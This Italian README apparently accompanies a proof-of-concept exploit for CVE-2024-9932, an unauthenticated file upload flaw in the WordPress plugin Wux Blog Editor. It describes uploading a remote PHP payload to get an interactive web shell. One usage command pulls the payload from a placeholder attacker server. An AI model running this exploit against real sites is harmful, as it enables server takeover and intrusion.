Exploit RCE a 0-click non autenticato per CVE-2024-9932. Sfrutta una vulnerabilità di caricamento file arbitrario nel plugin WordPress Wux Blog Editor per caricare un payload PHP remoto, rilevare il sistema operativo target e ottenere l'esecuzione remota di comandi tramite una web shell interattiva.

Questo repository contiene un exploit proof-of-concept per CVE-2024-9932, una vulnerabilità di upload arbitrario di file senza autenticazione nel plugin Wux Blog Editor per WordPress, che porta all'esecuzione remota di comandi (RCE).
Lo script abusa di un endpoint REST vulnerabile per caricare un payload PHP remoto senza autenticazione. Una volta caricato, ricostruisce la posizione finale del file, rileva il sistema operativo target e fornisce una shell remota interattiva per l'esecuzione di comandi.
python CVE-2024-9932.py --target http://target-wordpress-site --payload http://attacker-server/cmd.php --payload_name cmd.php
Dopo l'esecuzione, lo script carica il payload, ne conferma l'accessibilità, rileva il sistema operativo e apre una shell interattiva.